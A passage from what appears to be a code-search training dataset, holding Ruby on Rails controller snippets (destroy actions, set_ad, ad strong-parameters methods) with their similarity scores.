"def destroy\n @purchasing_ad = PurchasingAd.find(params[:id])\n @purchasing_ad.destroy\n\n respond_to do |format|\n format.html { redirect_to purchasing_ads_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @advert = Advert.find(params[:id])\n @advert.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_adverts_url, :notice => 'Advert was deleted') }\n format.xml { head :ok }\n end\n end",
"def destroy\n @ad_contact = AdContact.find(params[:id])\n @ad_contact.destroy\n\n respond_to do |format|\n format.html { redirect_to ad_contacts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n begin\n @advert.destroy\n\n rescue Exception => e\n notice = e.message\n else\n notice = 'Advert was successfully destroyed.'\n end\n\n respond_to do |format|\n format.html { redirect_to adverts_url, notice: notice }\n format.json { head :no_content }\n end\n end",
"def delete\n api(\"Delete\")\n end",
"def destroy\n @advertise = Advertise.find(params[:id])\n authorize! :destroy, @advertise, :message => 'Acceso denegado.'\n @advertise.destroy\n\n respond_to do |format|\n format.html { redirect_to advertises_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @admin_advertisement.destroy\n respond_to do |format|\n format.html { redirect_to admin_advertisements_url, notice: 'Advertisement was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def destroy\n @advocacy = Advocacy.find(params[:id])\n @advocacy.destroy\n\n respond_to do |format|\n format.html { redirect_to advocacies_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @create_classified_ad = CreateClassifiedAd.find(params[:id])\n @create_classified_ad.destroy\n\n respond_to do |format|\n format.html { redirect_to create_classified_ads_url }\n format.json { head :no_content }\n end\n end",
"def deleteEntityAdvertiser( entity_id, gen_id)\n params = Hash.new\n params['entity_id'] = entity_id\n params['gen_id'] = gen_id\n return doCurl(\"delete\",\"/entity/advertiser\",params)\n end",
"def destroy\n@magazine = Magazine.find_by_id(params[:magazine_id])\n@ad.destroy\nrespond_to do |format|\nformat.html { redirect_to magazine_ads_path(@magazine), notice: 'Ad was successfully destroyed.' }\nformat.json { head :no_content }\nend\nend",
"def delete!( opts = {} )\n http_action :delete, nil, opts\n end",
"def delete\n @message = \"Quảng cáo <strong>#{@ad.name}</strong> đã được xóa.\"\n @ad.destroy\n respond_to do |format| \n format.html { render \"/home/ajax_success\", layout: nil }\n format.json { head :no_content }\n end\n end",
"def delete\n render json: Post.delete(params[\"id\"])\n end",
"def delete\n url = prefix + \"delete\"\n return response(url)\n end",
"def delete\n url = prefix + \"delete\"\n return response(url)\n end",
"def destroy\n client=Client.find_by_id(params[:id])\n if client != nil\n if client.destroy\n head 204\n end\n else\n head 404\n end\n end",
"def destroy\n @campaign_banner.destroy\n respond_to do |format|\n format.html { redirect_to campaign_banners_url }\n format.json { head :no_content }\n end\n end",
"def delete\n request(:delete)\n end",
"def destroy\n @ad_crawling_db.destroy\n respond_to do |format|\n format.html { redirect_to ad_crawling_dbs_url, notice: 'Ad crawling db was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete\n res = HTTParty.get URL, headers: HEADERS\n message = JSON.parse res.body, symbolize_names: true\n if res.code == 200\n numSubs = message[:data].count\n if numSubs > 0\n message[:data].each do |sub|\n id = sub[:id]\n delRes = HTTParty.delete \"#{URL}/#{id}\", headers: HEADERS\n #TODO handle status codes\n end\n end\n end\n end",
"def delete\n response = WebPay.client.delete(path)\n response['deleted']\n end",
"def destroy\n @adcategory.destroy\n respond_to do |format|\n format.html { redirect_to adcategories_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @adm.destroy\n respond_to do |format|\n format.html { redirect_to adms_url, notice: 'Adm was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @dataload_ga = DataloadGa.find(params[:id])\n @dataload_ga.destroy\n\n respond_to do |format|\n format.html { redirect_to dataload_gas_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n authorize! :destroy, @advertisement\n @advertisement.destroy\n respond_to do |format|\n format.html { redirect_to app_advertisements_url, notice: 'Advertisement was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @atr = Atr.find(params[:id])\n @atr.destroy\n\n respond_to do |format|\n format.html { redirect_to atrs_url }\n format.json { head :no_content }\n end\n end",
"def delete\n render json: Item.delete(params[\"id\"])\n end"
] |
[
"0.7637339",
"0.7542011",
"0.75137264",
"0.73285",
"0.72981167",
"0.7294329",
"0.7290231",
"0.7290231",
"0.72807807",
"0.72807807",
"0.7275584",
"0.7233481",
"0.72154176",
"0.72154176",
"0.72154176",
"0.72122157",
"0.7201754",
"0.7187984",
"0.71771216",
"0.71671426",
"0.7149643",
"0.7144182",
"0.7124469",
"0.7114667",
"0.7111713",
"0.71116287",
"0.7104535",
"0.7100949",
"0.7098172",
"0.7065274",
"0.7059872",
"0.7013681",
"0.69901186",
"0.6989494",
"0.6989494",
"0.6989494",
"0.6982916",
"0.6974765",
"0.6945827",
"0.69087654",
"0.68942237",
"0.6886836",
"0.687649",
"0.6873483",
"0.6851727",
"0.68457943",
"0.6844751",
"0.6844639",
"0.6844579",
"0.68434894",
"0.6836354",
"0.68339473",
"0.6830106",
"0.68254846",
"0.6814342",
"0.680524",
"0.6798189",
"0.679403",
"0.679403",
"0.679403",
"0.67913866",
"0.67790717",
"0.67660815",
"0.6762015",
"0.67599046",
"0.67539936",
"0.67528266",
"0.6752245",
"0.6750614",
"0.67403245",
"0.6734068",
"0.67272276",
"0.67055637",
"0.66931933",
"0.66931933",
"0.66931933",
"0.66931933",
"0.66903245",
"0.66902167",
"0.6687881",
"0.6686665",
"0.6685949",
"0.66813046",
"0.66737646",
"0.66724527",
"0.66724527",
"0.665684",
"0.6656415",
"0.66508585",
"0.6649164",
"0.66408676",
"0.6633586",
"0.6632262",
"0.6630537",
"0.66241443",
"0.66102874",
"0.6606971",
"0.6601645"
] |
0.7211167
|
18
|
Use callbacks to share common setup or constraints between actions.
|
def set_ad
@ad = Ad.find(params[:id])
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"def action_hook; end",
"def run_actions; end",
"def define_action_hook; end",
"def actions; end",
"def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end",
"def add_actions; end",
"def callbacks; end",
"def callbacks; end",
"def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end",
"def define_action_helpers; end",
"def post_setup\n end",
"def action_methods; end",
"def action_methods; end",
"def action_methods; end",
"def before_setup; end",
"def action_run\n end",
"def execute(setup)\n @action.call(setup)\n end",
"def define_action_helpers?; end",
"def set_actions\n actions :all\n end",
"def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end",
"def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end",
"def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end",
"def before_actions(*logic)\n self.before_actions = logic\n end",
"def setup_handler\n end",
"def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def workflow\n end",
"def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end",
"def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end",
"def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"def process_action(...)\n send_action(...)\n end",
"def before_dispatch(env); end",
"def after_actions(*logic)\n self.after_actions = logic\n end",
"def setup\n # override and do something appropriate\n end",
"def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end",
"def setup(_context)\n end",
"def setup(resources) ; end",
"def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end",
"def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end",
"def determine_valid_action\n\n end",
"def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end",
"def startcompany(action)\n @done = true\n action.setup\n end",
"def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end",
"def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end",
"def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"def define_tasks\n define_weave_task\n connect_common_tasks\n end",
"def setup(&block)\n define_method(:setup, &block)\n end",
"def setup\n transition_to(:setup)\n end",
"def setup\n transition_to(:setup)\n end",
"def action\n end",
"def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend",
"def config(action, *args); end",
"def setup\n @setup_proc.call(self) if @setup_proc\n end",
"def before_action \n end",
"def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end",
"def action\n end",
"def matt_custom_action_begin(label); end",
"def setup\n # override this if needed\n end",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end",
"def after(action)\n invoke_callbacks *options_for(action).after\n end",
"def pre_task\n end",
"def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end",
"def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end",
"def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end",
"def setup_signals; end",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end",
"def initialize(*args)\n super\n @action = :set\nend",
"def after_set_callback; end",
"def setup\n #implement in subclass;\n end",
"def lookup_action; end",
"def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end",
"def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"def release_actions; end",
"def around_hooks; end",
"def save_action; end",
"def setup(easy)\n super\n easy.customrequest = @verb\n end",
"def action_target()\n \n end",
"def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end",
"def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end",
"def before_setup\n # do nothing by default\n end",
"def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end",
"def default_action; end",
"def setup(&blk)\n @setup_block = blk\n end",
"def callback_phase\n super\n end",
"def advice\n end",
"def _handle_action_missing(*args); end",
"def duas1(action)\n action.call\n action.call\nend",
"def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end",
"def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end",
"def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend"
] |
[
"0.6163163",
"0.6045976",
"0.5946146",
"0.591683",
"0.5890051",
"0.58349305",
"0.5776858",
"0.5703237",
"0.5703237",
"0.5652805",
"0.5621621",
"0.54210985",
"0.5411113",
"0.5411113",
"0.5411113",
"0.5391541",
"0.53794575",
"0.5357573",
"0.53402257",
"0.53394014",
"0.53321576",
"0.53124547",
"0.529654",
"0.5296262",
"0.52952296",
"0.52600986",
"0.52442724",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.5232394",
"0.523231",
"0.5227454",
"0.52226824",
"0.52201617",
"0.5212327",
"0.52079266",
"0.52050185",
"0.51754695",
"0.51726824",
"0.51710224",
"0.5166172",
"0.5159343",
"0.51578903",
"0.51522785",
"0.5152022",
"0.51518047",
"0.51456624",
"0.51398855",
"0.5133759",
"0.5112076",
"0.5111866",
"0.5111866",
"0.5110294",
"0.5106169",
"0.509231",
"0.50873137",
"0.5081088",
"0.508059",
"0.50677156",
"0.50562143",
"0.5050554",
"0.50474834",
"0.50474834",
"0.5036181",
"0.5026331",
"0.5022976",
"0.5015441",
"0.50121695",
"0.5000944",
"0.5000019",
"0.4996878",
"0.4989888",
"0.4989888",
"0.49864885",
"0.49797225",
"0.49785787",
"0.4976161",
"0.49683493",
"0.4965126",
"0.4958034",
"0.49559742",
"0.4954353",
"0.49535993",
"0.4952725",
"0.49467874",
"0.49423352",
"0.49325448",
"0.49282882",
"0.49269363",
"0.49269104",
"0.49252945",
"0.4923091",
"0.49194667",
"0.49174926",
"0.49173003",
"0.49171105",
"0.4915879",
"0.49155936"
] |
0.0
|
-1
|
Never trust parameters from the scary internet, only allow the white list through.
|
def ad_params
params.require(:ad).permit(:user_id, :titel, :description, :price, :price_type, :postal_code, :place_id, :street, :ad_type, :contact_name, :phonenumber, :in_galery, :galery_end, :top_ad, :top_ad_end, :highlight, :highlight_end, :repeat_to_top, :repeat_to_top_end, :main_image, :category_id)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"def allow_params_authentication!; end",
"def allowed_params\n ALLOWED_PARAMS\n end",
"def default_param_whitelist\n [\"mode\"]\n end",
"def param_whitelist\n [:role, :title]\n end",
"def expected_permitted_parameter_names; end",
"def safe_params\n params.except(:host, :port, :protocol).permit!\n end",
"def strong_params\n params.require(:team_member).permit(param_whitelist)\n end",
"def permitir_parametros\n \t\tparams.permit!\n \tend",
"def strong_params\n params.require(:community).permit(param_whitelist)\n end",
"def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end",
"def strong_params\n params.require(:education).permit(param_whitelist)\n end",
"def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end",
"def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end",
"def param_whitelist\n [:rating, :review]\n end",
"def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end",
"def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end",
"def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end",
"def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end",
"def valid_params_request?; end",
"def strong_params\n params.require(:experience).permit(param_whitelist)\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end",
"def allowed_params\n params.require(:allowed).permit(:email)\n end",
"def permitted_params\n []\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end",
"def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend",
"def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end",
"def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end",
"def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end",
"def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end",
"def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end",
"def safe_params\n params.require(:user).permit(:name)\n end",
"def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend",
"def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end",
"def check_params; true; end",
"def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end",
"def quote_params\n params.permit!\n end",
"def valid_params?; end",
"def paramunold_params\n params.require(:paramunold).permit!\n end",
"def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend",
"def filtered_parameters; end",
"def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end",
"def filtering_params\n params.permit(:email, :name)\n end",
"def check_params\n true\n end",
"def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend",
"def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend",
"def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end",
"def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end",
"def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end",
"def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend",
"def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end",
"def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end",
"def active_code_params\n params[:active_code].permit\n end",
"def filtering_params\n params.permit(:email)\n end",
"def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end",
"def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end",
"def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end",
"def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end",
"def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end",
"def list_params\n params.permit(:name)\n end",
"def filter_parameters; end",
"def filter_parameters; end",
"def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end",
"def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end",
"def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end",
"def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end",
"def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end",
"def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end",
"def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"def url_whitelist; end",
"def admin_social_network_params\n params.require(:social_network).permit!\n end",
"def filter_params\n params.require(:filters).permit(:letters)\n end",
"def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end",
"def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end",
"def sensitive_params=(params)\n @sensitive_params = params\n end",
"def permit_request_params\n params.permit(:address)\n end",
"def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end",
"def secure_params\n params.require(:location).permit(:name)\n end",
"def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end",
"def question_params\n params.require(:survey_question).permit(question_whitelist)\n end",
"def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end",
"def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end",
"def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end",
"def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end",
"def url_params\n params[:url].permit(:full)\n end",
"def backend_user_params\n params.permit!\n end",
"def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend",
"def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end",
"def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end",
"def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end",
"def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end",
"def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end",
"def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end",
"def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end",
"def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end"
] |
[
"0.69792545",
"0.6781151",
"0.67419964",
"0.674013",
"0.6734356",
"0.6591046",
"0.6502396",
"0.6496313",
"0.6480641",
"0.6477825",
"0.64565",
"0.6438387",
"0.63791263",
"0.63740575",
"0.6364131",
"0.63192815",
"0.62991166",
"0.62978333",
"0.6292148",
"0.6290449",
"0.6290076",
"0.62894756",
"0.6283177",
"0.6242471",
"0.62382483",
"0.6217549",
"0.6214457",
"0.6209053",
"0.6193042",
"0.6177802",
"0.6174604",
"0.61714715",
"0.6161512",
"0.6151757",
"0.6150663",
"0.61461",
"0.61213595",
"0.611406",
"0.6106206",
"0.6105114",
"0.6089039",
"0.6081015",
"0.6071004",
"0.60620916",
"0.6019971",
"0.601788",
"0.6011056",
"0.6010898",
"0.6005122",
"0.6005122",
"0.6001556",
"0.6001049",
"0.59943926",
"0.5992201",
"0.59909594",
"0.5990628",
